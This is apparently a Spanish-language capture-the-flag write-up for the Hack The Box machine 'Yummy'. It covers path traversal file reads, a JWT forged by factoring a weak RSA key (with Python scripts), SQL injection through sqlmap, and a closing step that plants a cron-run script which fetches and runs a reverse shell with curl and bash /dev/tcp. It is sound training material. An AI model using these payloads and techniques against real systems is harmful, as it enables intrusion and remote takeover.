hoy estamos de vuelta con otra maquina difícil de hack the box, las cuales están enfocadas en entornos mas realistas.


Reconocimiento

lo primero, será crear las carpetas de trabajo en mi directorio /htb

cd htb && mkdir yummy
cd yummy && mkdir content exploits nmap

luego hacer el reconocimiento a la ip del servidor con nmap:

nmap -p- --open -n -sS -Pn -vvv --min-rate 5999 10.10.10.10 
nmap -p- --open -sS -Pn -n -vvv --min-rate 5999 10.129.231.153
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 10:46 CEST
Initiating SYN Stealth Scan at 10:46
Scanning 10.129.231.153 [65535 ports]
Discovered open port 22/tcp on 10.129.231.153
Discovered open port 80/tcp on 10.129.231.153
Completed SYN Stealth Scan at 10:46, 13.44s elapsed (65535 total ports)
Nmap scan report for 10.129.231.153
Host is up, received user-set (0.038s latency).
Scanned at 2025-04-12 10:46:24 CEST for 13s
Not shown: 64464 closed tcp ports (reset), 1069 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
           Raw packets sent: 82010 (3.608MB) | Rcvd: 68960 (2.758MB)

podemos confirmar que por el ttl que es una maquina linux, además de que hay 2 puertos siendo usados en el servidor, vamos a capturar banners y ver que versiones y servicios están corriendo:

nmap -p22,80 -sCV -n -vvv 10.10.10.10
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNb9gG2HwsjMe4EUwFdFE9H8NguzJkfCboW4CveSS+cr2846RitFyzx3a9t4X7S3xE3OgLnmgj8PtKCcOnVh8nQ=
|   256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZKWYurAF2kFS4bHCSCBvsQ+55/NxhAtZGCykcOx9b6
80/tcp open  http    syn-ack ttl 63 Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

vemos lo clásico que nos encontramos en las maquinas, con lo que podemos quedarnos seria: el nombre del host (yummy.htb), la tecnología que esta corriendo el servidor (Caddy) y los métodos que acepta (GET - HEAD - POST - OPTIONS)

voy a agregar este nombre de dominio a mi /etc/hosts para poder buscar mas información del mismo, ya sabemos que las maquina de htb o algunos entornos trabajan con virtual hosting:

echo "10.10.10.10    yummy.htb" >> /etc/hosts #cuidado con los permisos de escritura

teniendo esto, podemos acercarnos a la pagina para averiguar mas, pero primero lo hare desde la terminal:

whatweb http://yummy.htb

nada mas allá de lo que ya se ha descubierto, así que vamos al navegador: veo que es la web de un restaurante, voy a empezar a explorar las funcionalidades.

tenemos un formulario para reservar mesas:

un panel de inicio de sesión:

que tambien podemos registrarnos

tambien hay un formulario de contacto y otro de suscripción a newsletter:

probando varias cosillas en estos formularios, no tenemos nada especial, voy a registrarme y dentro del dashboard podemos ver:

es como un registro de reservaciones, lo que me hace pensar que puede ser la ruta para vulnerar la web, así que vamos a tomar una reservación y seguir:

iré a mi cuenta, y veo que tenemos 2 botones de acción, además de que se refleja el mensaje, podemos intentar hacer que el servidor almacene algún payload cargado desde la reservación, pero primero quiero probar lo mas evidente (los botones de acción)

con este, veo que hay un redireccionamiento junto con el numero del id de la reservación:

pulsar el botón, quiero intentar visitar /reminder:

y si coloco el numero de la reservación:

descarga el .ics o el archivo icalendar sin haber pulsado el botón, ahora, si intento visitar otros números de reserva:

veo un mensaje de que la reserva no existe, además de que dice que mi reserva anterior fue descargada con éxito y en mi dashboard ya no muestra la reservación

se esta descargando un archivo temporal (la reserva) lo cual cuando se hace, deja de estar en el servidor, entonces, como nos podemos aprovechar de esto? podemos usarlo para descargar archivos arbitrarios del servidor? como?

para eso debemos ver las peticiones en burpsuite y tratar de modificar cabeceras o parámetros y ver las respuestas del servidor, pero antes, vamos a analizar el archivo descargado (y así no dejaremos nada por fuera)

primero vemos el contenido:

cat Yumm*
BEGIN:VCALENDAR
VERSION:2.0
PRODID:ics.py - http://git.io/lLljaA
BEGIN:VEVENT
DESCRIPTION:Email: 3vilsec@htb.com\nNumber of People: 3\nMessage: this is a test
DTSTART:20250512T000000Z
SUMMARY:3vilsec
UID:b8352f90-3b75-409e-98f4-d27983cfdfa1@b835.org
END:VEVENT
END:VCALENDAR 

podemos ver tambien los metadatos, en busca de información relevante:

exiftool Yummy*
ExifTool Version Number         : 13.10
File Name                       : Yummy_reservation_20250412_095927.ics
Directory                       : .
File Size                       : 283 bytes
File Modification Date/Time     : 2025:04:12 11:58:48+02:00
File Access Date/Time           : 2025:04:12 12:19:33+02:00
File Inode Change Date/Time     : 2025:04:12 11:58:48+02:00
File Permissions                : -rw-rw-r--
File Type                       : ICS
File Type Extension             : ics
MIME Type                       : text/calendar
VCalendar Version               : 2.0
Software                        : ics.py - http://git.io/lLljaA
Description                     : Email: 3vilsec@htb.com.Number of People: 3.Message: this is a test
Date Time Start                 : 2025:05:12 00:00:00Z
Summary                         : 3vilsec
UID                             : b8352f90-3b75-409e-98f4-d27983cfdfa1@b835.org

bueno, no veo nada de lo que aprovecharme, vamos con burpsuite

lo que hare, sera crear una nueva reservación y descargar el archivo nuevamente para leer el historial de peticiones y probar cosas desde el repeater

viendo las solicitudes, hay 3 cosas que han llamado mi atención: 1) tenemos una cookie, que esta codificada en base64 2) la solicitud /remainder que es la de descarga, asigna un cookie adicional temporal y hace un redireccionamiento a /export/datos.ics que es la respuesta del servidor con los datos que serán descargados 3) esa solicitud /export hace uso de esa cookie temporal + la cookie de sesión para solicitarle al servidor la data

jwt.io nos da información relevante sobre el mismo, si haz trabajado jwt antes, veras que contiene su firma, rol, email, algoritmo, etc: lo que nos hace pensar que podríamos intentar modificarlo, pero primero debemos encontrar las claves

solicitud /reminder la cual asigna la cookie temporal y además nos da el redireccionamiento que hará que se descarguen los datos:

y esta ya es la solicitud al servidor con orden de descarga, el cual nos responde con los datos solicitados:

voy a enviar estas ultimas al repeater, para intentar leer archivos arbitrarios en el servidor #LocalFileInclusion

aunque sospecho que si se crea esa “cookie” temporal, no se podrá hacer desde el /export, aun así lo intentare, pero lo haré desde /reminder primero

aunque ninguno de los 2 da resultado (me lo imaginaba), dado que la funcionalidad de reminder no puedo acceder por mi cuenta, y el otro me redirecciona al /dashboard por la cookie temporal

lo que pienso es que podría capturar la solicitud y modificarlas antes de que vayan al servidor, aprovechando una nueva reserva

al parecer, tambien después de un tiempo se elimina mi cuenta y debo volver a registrarme haha

bueno, al interceptar las solicitudes, intente modificar el /reminder con un directory listing basico. pero la me arrojó un error 404:

así que deje pasar esta solicitud por el proxy y llego la siguiente:

la cual tambien modifique con un ../../../../../../etc/passwd y no de daba error, ni hacia nada (no veía respuesta del servidor) pero la reservación seguía allí (lo cual no pasa)

asi que voy al historial http del burpsuite y extranamente, aunque cambie alli, se sigue viendo asi:

de hecho, hasta me da un internal server error, así que decidí enviar esta solicitud al repeater, tambien me dio error tanto en el nombre como si lo modifico (ambas solicitudes deben ir casi simultaneo) entonces si mientras la intercepto, lo envió al repeater?

este no lo permite, dice que no se encuentra asi que lo intento enviar integro

follow redirect:

aquí, solo me faltaba intentar enviar al repeater el redirect justo antes que lo enviara al servidor (porque el follow redirect no me lo permitía porque como vemos es una cookie de un solo uso)

el el proxy dejo pasar la primera solicitud y la segunda la envío al repeater, modifico el path con ../../../../../../etc/passwd:

tenemos directory listing, el cual se vale de una cookie de 1 solo uso

mirando el dashboard, indica que se ha descargado, pero la reservación sigue allí

después de estas buscando un montón entre los archivos del sistema, e encontrado varios importantes:

las tareas cron, están ejecutando 3 scripts:

table_cleanup.sh:

#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

dbmonitor.sh:

#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

app_backup.sh:

#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

tirando un poco del hilo, intento descargar backupapp.zip tambien:

click derecho y:

lo que nos va a descargar el archivo a nuestra maquina:

investiguemos primero este (que se ve interesante), y luego analizamos los otros archivos:

unzip backupapp.zip

vemos que tenemos la aplicación entera:

traeré al writeup el código con:

cat app.py | xclip -sel clip
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib

app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS

}

access_token = ''

@app.route('/login', methods=['GET','POST'])
def login():
    global access_token
    if request.method == 'GET':
        return render_template('login.html', message=None)
    elif request.method == 'POST':
        email = request.json.get('email')
        password = request.json.get('password')
        password2 = hashlib.sha256(password.encode()).hexdigest()
        if not email or not password:
            return jsonify(message="email or password is missing"), 400

        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
                cursor.execute(sql, (email, password2))
                user = cursor.fetchone()
                if user:
                    payload = {
                        'email': email,
                        'role': user['role_id'],
                        'iat': datetime.now(timezone.utc),
                        'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
                    }
                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')

                    response = make_response(jsonify(access_token=access_token), 200)
                    response.set_cookie('X-AUTH-Token', access_token)
                    return response
                else:
                    return jsonify(message="Invalid email or password"), 401
        finally:
            connection.close()

@app.route('/logout', methods=['GET'])
def logout():
    response = make_response(redirect('/login'))
    response.set_cookie('X-AUTH-Token', '')
    return response

@app.route('/register', methods=['GET', 'POST'])
def register():
        if request.method == 'GET':
            return render_template('register.html', message=None)
        elif request.method == 'POST':
            role_id = 'customer_' + secrets.token_hex(4)
            email = request.json.get('email')
            password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
            if not email or not password:
                return jsonify(error="email or password is missing"), 400
            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "SELECT * FROM users WHERE email=%s"
                    cursor.execute(sql, (email,))
                    existing_user = cursor.fetchone()
                    if existing_user:
                        return jsonify(error="Email already exists"), 400
                    else:
                        sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
                        cursor.execute(sql, (email, password, role_id))
                        connection.commit()
                        return jsonify(message="User registered successfully"), 201
            finally:
                connection.close()


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/book', methods=['GET', 'POST'])
def export():
    if request.method == 'POST':
        try:
            name = request.form['name']
            date = request.form['date']
            time = request.form['time']
            email = request.form['email']
            num_people = request.form['people']
            message = request.form['message']

            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "INSERT INTO appointments (appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES (%s, %s, %s, %s, %s, %s, %s)"
                    cursor.execute(sql, (name, email, date, time, num_people, message, 'customer'))
                    connection.commit()
                    flash('Your booking request was sent. You can manage your appointment further from your account. Thank you!', 'success')  
            except Exception as e:
                print(e)
            return redirect('/#book-a-table')
        except ValueError:
            flash('Error processing your request. Please try again.', 'error')
    return render_template('index.html')


def generate_ics_file(name, date, time, email, num_people, message):
    global temp_dir
    temp_dir = tempfile.mkdtemp()
    current_date_time = datetime.now()
    formatted_date_time = current_date_time.strftime("%Y%m%d_%H%M%S")

    cal = Calendar()
    event = Event()
    
    event.name = name
    event.begin = datetime.strptime(date, "%Y-%m-%d")
    event.description = f"Email: {email}\nNumber of People: {num_people}\nMessage: {message}"
    
    cal.events.add(event)

    temp_file_path = os.path.join(temp_dir, quote('Yummy_reservation_' + formatted_date_time + '.ics'))
    with open(temp_file_path, 'w') as fp:
        fp.write(cal.serialize())

    return os.path.basename(temp_file_path)

@app.route('/export/<path:filename>')
def export_file(filename):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    filepath = os.path.join(temp_dir, filename)
    if os.path.exists(filepath):
        content = send_file(filepath, as_attachment=True)
        shutil.rmtree(temp_dir)
        return content
    else:
        shutil.rmtree(temp_dir)
        return "File not found", 404

def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None


@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
        validation = validate_login()
        if validation is None:
            return redirect(url_for('login'))
        elif validation == "administrator":
            return redirect(url_for('admindashboard'))
 
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
                appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])

        finally:
            connection.close()

        return render_template('dashboard.html', appointments=appointments_sorted)

@app.route('/delete/<appointID>')
def delete_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    elif validation == "administrator":
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments where appointment_id= %s;"
                cursor.execute(sql, (appointID,))
                connection.commit()

                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("admindashboard"))
    else:
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments WHERE appointment_id = %s AND appointment_email = %s;"
                cursor.execute(sql, (appointID, validation))
                connection.commit()

                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("dashboard"))
        flash("Something went wrong!","error")
        return redirect(url_for("dashboard"))

@app.route('/reminder/<appointID>')
def reminder_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))

    connection = pymysql.connect(**db_config)
    try:
        with connection.cursor() as cursor:
            sql = "SELECT appointment_id, appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s AND appointment_id = %s"
            result = cursor.execute(sql, (validation, appointID))
            if result != 0:
                connection.commit()
                appointments = cursor.fetchone()
                filename = generate_ics_file(appointments['appointment_name'], appointments['appointment_date'], appointments['appointment_time'], appointments['appointment_email'], appointments['appointment_people'], appointments['appointment_message'])
                connection.close()
                flash("Reservation downloaded successfully","success")
                return redirect(url_for('export_file', filename=filename))
            else:
                flash("Something went wrong!","error")
    except:
        flash("Something went wrong!","error")
        
    return redirect(url_for("dashboard"))

@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))
 
        try:
            connection = pymysql.connect(**db_config)
            with connection.cursor() as cursor:
                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()

                search_query = request.args.get('s', '')

                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()
            
            return render_template('admindashboard.html', appointments=appointments)
        except Exception as e:
            flash(str(e), 'error')
            return render_template('admindashboard.html', appointments=appointments)



if __name__ == '__main__':
    app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)

en este código tiene varios detalles interesantes:

hay un “validador”, que si es igual a administrator nos llevara a un panel que tiene la pagina que no había visto:

@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
        validation = validate_login()
        if validation is None:
            return redirect(url_for('login'))
        elif validation == "administrator":
            return redirect(url_for('admindashboard'))
            
##tenemos tambien indicios del panel administrativo mas abajo:

@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))

vemos que la validación se da en una funcion arriba de esta, la cual al parecer desglosa y analiza el jwt:

def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None

recordemos que al ver el contenido del token vimos “role” (ya podemos intuir como vamos a atacar)

debemos acceder a panel administrativo, pero como vemos en el código, si no tenemos un jwt con el rol administrativo, simplemente nos va a redirigir a el /login

aunque tambien tenemos el codigo fuente del admindashboard, no nos sirve de nada

ahora, debemos modificar nuestro jwt, como? necesitamos las claves rsa que se están usando para firmar los tokens

Vulnerando el JWT

podemos intentar probar algunas herramientas, pero tambien podríamos intentarlo de manera manual:

tenemos la ventaja de que tenemos la app entera en nuestra maquina, asi que vamos a buscar la librería que contiene la funcion verify_token() en opt/app/middleware/verification.py:

#!/usr/bin/python3

from flask import request, jsonify
import jwt
from config import signature

def verify_token():
    token = None
    if "Cookie" in request.headers:
        try:
            token = request.headers["Cookie"].split(" ")[0].split("X-AUTH-Token=")[1].replace(";", '')
        except:
            return jsonify(message="Authentication Token is missing"), 401

    if not token:
        return jsonify(message="Authentication Token is missing"), 401

    try:
        data = jwt.decode(token, signature.public_key, algorithms=["RS256"])
        current_role = data.get("role")
        email = data.get("email")
        if current_role is None or ("customer" not in current_role and "administrator" not in current_role):
            return jsonify(message="Invalid Authentication token"), 401

        return (email, current_role), 200

    except jwt.ExpiredSignatureError:
        return jsonify(message="Token has expired"), 401
    except jwt.InvalidTokenError:
        return jsonify(message="Invalid token"), 401
    except Exception as e:
        return jsonify(error=str(e)), 500

vemos que la validacion de la firma la hace signature.public_key y signature esta siendo importado desde config, iremos ahora a opt/app/config/signature.py:

#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

y aquí tenemos como se están generando los pares de claves:

q = es un numero (2^19)=524,288 y (2^20) = 1,048.576 (aquí esta la vulnerabilidad) p = un numero primo aleatorio entre 2^1022 y 2^1024 n = es el valor que tenemos en el token nuemro primo random q e = valor estatico 65537 p = n // q

investigando, todo me llevaba a que si la clave esta usando un primo pequeño, se puede factorizar n y asi sacar el valor de q, para poder calcular la rsa (dado que ya tenemos n en el token)

lo primero entonces es calcular el valor de q con un script que va a dividir n entre todos los valores entre el rango que sabemos, y si da ‘0’ sabremos que ese es el valor de q:

import sympy

n = 167090849742406091701649657236574947690932761945057392479517424115635891629092964372208590415566807475406071972159511063835063932922113079405439015900684292833854222495081981789547819916456240743864131846738096707575663013818508345235858426604949900095398457461802738212987952489660484482454429414378104794468733693
e = 65537

for q in sympy.primerange(2**19, 2**20):
    if n % q == 0:
        print(f"Este es q: {q}")
        p = n // q
        print(f"p: {p}")
        break
                 

es un bucle simple y q=967459 (tambien puedes factorizar ‘n’ en https://factordb.com)

ahora con estos datos, podemos generar las claves y el token, de nuevo con ayuda de nuestro llm fav, (cuidado, porque falla un montón analiza el código con calma ):

from Crypto.PublicKey import RSA
import jwt

q = 967459
n = 167090849742406091701649657236574947690932761945057392479517424115635891629092964372208590415566807475406071972159511063835063932922113079405439015900684292833854222495081981789547819916456240743864131846738096707575663013818508345235858426604949900095398457461802738212987952489660484482454429414378104794468733693
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)

private_key = RSA.construct((n, e, d, p, q))
private_key_pem = private_key.export_key()

payload = {
    "email": "3vilsec@htb.com",
    "role": "administrator",
    "iat": 1744736900,
    "exp": 1744740500,
    "jwk": {
        "kty": "RSA",
        "n": str(n),
        "e": 65537
    }
}

new_token = jwt.encode(payload, private_key_pem, algorithm="RS256")
print(new_token)

así queda después de arreglar algunas cosas, y usando la base del mismo código que usa la pagina

pyton3 token_gen.py

***Nota: si tienes problemas con las dependencias o bibliotecas que se usan, entra a un entorno de desarrollo de python y descarga lo que necesites (pycryptodome - cryptography ) para en entorno:

sudo apt install python3-venv

python3 -m venv entorno

source entorno/bin/activate

con esto, vamos a ir al navegador y a meter nuestro token nuevo en el storage:

intentamos cargar el dashboard que ya conocemos: ha funcionado

ahora, si a futuro quieres evitar esto para ir mas rápido, puedes usar: https://github.com/RsaCtfTool/RsaCtfTool

RsaCtfTool -n "colocamos el valor de n" -e "colocamos el valor de e" --private

nos da la calve privada lo podemos guardar en un archivo .pem

teniendo el archivo simplemente vamos a usar un generador muy parecido al que usamos antes:

import jwt

with open("key.pem", "rb") as f:
    private_key = f.read()

payload = {
    "email": "3vilsec@htb.com",
    "role": "administrator",
    "iat": 1744736900,
    "exp": 1744740500,
    "jwk": {
        "kty": "RSA",
        "n": "167090849742406091701649657236574947690932761945057392479517424115635891629092964372208590415566807475406071972159511063835063932922113079405439015900684292833854222495081981789547819916456240743864131846738096707575663013818508345235858426604949900095398457461802738212987952489660484482454429414378104794468733693",
        "e": 65537
    }
}


new_token = jwt.encode(payload, private_key, algorithm="RS256")
print(new_token)

hay varios métodos mas, pero estos son los que he usado, (no vamos a profundizar en jwt atacks porque de eso no va este writeup)

inyección SQL

ahora, leyendo un poco el codigo de la pagina admin y como se hacen las consultas, encontramos que ‘o’ es vulnerable a sqlinjection, asi que, si probamos esto:

ahora, veremos que tenemos allí

después de probar varios payloads manuales, decidí probar la url con SQLmap: error-based / stacked queries(varias consultas concatenadas) / time-based blind

tambien vemos que nos da información del usuario que esta ejecutando las querys de la base de datos:

[10:17:39] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[10:17:39] [INFO] fetching current user
[10:17:40] [INFO] retrieved: 'chef@localhost'
current user: 'chef@localhost'

al usar el comando –privilege nos muestra que es “FILE”:

esto es un hallazgo critico, dado que nos permite leer y escribir archivos en la base de datos y fuera de ella, lo que nos puede llevar a leer archivos del sistema o meter un payload malicioso para ejecutar una reverse shell :D

porque recordemos que este privilegio nos va a permitir funciones como load data infile o select into outfile

y volví a mirar el código fuente específicamente en el dbmonitor.sh (que es ejecutado por el usuario mysql)encontrado en las tareas cron del sistema ,entonces en el script podemos confirmar que:

  • este script verifica el estado de la base de datos y si no esta activa se crea un archivo dbstatus.json donde debe estar un string “the database is down”, que servirá para cuando se valide si esta activa con un bucle
  • si la base de datos esta activa comprueba al existencia de dbstatus.json y si contiene “database is down”, notifica que estuvo caída la base de datos, elimina el archivo y no ejecuta el fixer-v*
  • ahora, si el archivo dbstatus.json existe pero no tiene ese string “database is down”, asume que fallo la restauración, elimina el archivo pero esta vez si ejecutara el fixer-v”algo”

lo que vemos en el código, es que al verificar que la base de datos esta activa, no debería crearse un dbstatus.json entonces al estar activa, existir un archivo dbstatus.json y además ese archivo no contener la cadena de texto “database is down” va a buscar fixer-v”algo” y lo va a ejecutar y allí es donde vamos a escribir nuestro archivo malicioso

Shell como SQL

así que debemos escribir 2 archivos:

fixer-v*
dbstatus.json (pero sin la cadena "database is down")

vamos a crear los archivos necesarios en nuestra carpeta de trabajo:

echo "bash -i >& /dev/tcp/10.10.10.10/9999 0>&1" > 3vilsec.sh
echo "3vilsec is here" > dbstatus.json
echo "curl 10.10.10.10/3vilsec.sh|bash" > fixer-v666

con los archivos vamos en otra pestana a levantar un servidor python y a poner a netcat en escucha:

nc -lvnp 9999
python3 -m http.server 80

y para la escritura, vamos la usar sqlmap:

sqlmap -u 'http://yummy.htb/admindashboard?o=' --cookie="X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjN2aWxzZWNAaHRiLmNvbSIsInJvbGUiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzQ0OTcwMzUxLCJleHAiOjE3NDQ5NzM5NTEsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiMTIxOTQ4MDQxMDU1NzEwODk5MTM5MTg5MjY3NDM2OTUzNTU4MDM4Nzc5NjI2NzU0NTY1Mjk2NjI1MTg5ODMyMzQ2NTI3ODM1MTY1Mzg0Njk4MDc1OTE2Mjc2ODkzNTI2MDM2NDE3NzQ3MTAxMDA2NDE4NzUyODc1NTQ0NTMxNDYxMDcxMDUyNTA4MTk5NjExNDU5NjAzNzY1NzQwNTQ2ODI4NjA3NjcxOTcwMjUxNjcxMTIwNTYyOTI5OTUyMTM4NTIyNzA5ODY4NTI5Njc5NTE0Njg4NTcwOTMzOTczMTkwODEzMDQ1NzM2NzY0NTY2NjY5MzQ5ODgzOTI1Mzc3MzI4Mjg5MDQ1NDU1ODQyMTE2Mzc4NDk1NjE3MzM0NjA5MDgwMDY4NzQ4OTQ3NTM2NjQxMzM3ODI4NTA3IiwiZSI6NjU1Mzd9fQ.AgG3exS-tRiNy69rDkUh8Mpy3_VotpVC1PvpoMfMBCKz8l15GTaBOU28X9AtSbllbIqkqM6vQA2QQdoprbKh-3hEpZgMt0rW0-lZ4u2z9FqZMYXE2sTQoCJtNxlh7n7bPsbyWpWniGFckwK8GfwcvQezLjSWkjVnZuo8sxH1PQFVHNM" --file-write="fixer-v666" --file-dest="/data/scripts/fixer-v666" --batch

